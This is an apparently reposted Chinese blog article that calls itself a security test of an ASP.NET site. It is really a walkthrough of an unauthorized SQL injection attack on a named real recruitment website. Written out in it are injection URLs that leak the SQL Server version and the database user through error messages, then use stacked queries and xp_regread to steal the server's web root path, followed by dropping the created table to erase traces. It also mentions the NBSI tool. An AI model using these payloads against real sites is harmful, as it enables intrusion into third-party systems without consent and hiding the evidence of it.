欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

安全检测ASP.net开发网站实例

程序员文章站 2022-04-15 20:05:42
今天上了一个人才招聘网站,对他们的招聘系统我很感兴趣,aspx结尾的,看来是.net的程序,这样的网站会不会有什么漏洞呢?顺便打开一条消息 http://www.cnwill.com/NewsShow.aspx?id=... 08-10-08...
今天上了一个人才招聘网站,对他们的招聘系统我很感兴趣,aspx结尾的,看来是.net的程序,这样的网站会不会有什么漏洞呢?顺便打开一条消息 http://www.cnwill.com/newsshow.aspx?id=4847 ,然后加一个' 看看出现什么?我晕。。
source: .net sqlclient data provider
description: 字符串 '' 之前有未闭合的引号。
targesite: system.data.sqlclient.sqldatareader executereader(system.data.commandbehavior, system.data.sqlclient.runbehavior, boolean)
似乎有可能,然后 1=1 正常 1=2出错。。这和asp的似乎没有区别阿。。于是把nbsi挂上了,竟然也可以猜出表名来,和asp没区别。不过nbsi不认识这里的出错信息,只能按照没有提示的方式破。。先暂停一下nbsi,输入
http://www.cnwill.com/newsshow.aspx?id=4844 and 0<;>(select @@version)--
提示:
source: .net sqlclient data provider
description: 将 nvarchar 值 'microsoft sql server 2000 - 8.00.760 (intel x86) dec 17 2002 14:22:05 copyright (c) 1988-2003 microsoft corporation enterprise edition on windows nt 5.0 (build 2195: service pack 4) ' 转换为数据类型为 int 的列时发生语法错误。
targesite: boolean read()
是个2000的enterprise server而且sp4了。。然后
_name">http://www.cnwill.com/newsshow.aspx?id=4844 and 0<;>user_name()
提示:
source: .net sqlclient data provider
description: 将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。
targesite: boolean read()
哦?用dbo的身份连接?应该有搞头。。
首先按照破解asp网站的方法,要他的绝对路径用以下,第一步建立一个表:
http://www.cnwill.com/newsshow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--
把web路径写进去
http://www.cnwill.com/newsshow.aspx?id=4844;declare @result varchar(255) exec master.dbo.xp_regread 'hkey_local_machine','system\controlset001\services\w3svc\parameters\virtual roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
还是让他不匹配,显示错误
http://www.cnwill.com/newsshow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
得到提示:
source: .net sqlclient data provider
description: 将 varchar 值 'y:\web\烟台人才热线后台管理系统,,201 ' 转换为数据类型为 int 的列时发生语法错误。
targesite: boolean read()
哈哈哈。。路径暴露了。。
接下来删除痕迹
http://www.cnwill.com/newsshow.aspx?id=4844;drop table cyfd;--
后边该怎么做就不多说了。。和安全检测asp的网站一样。。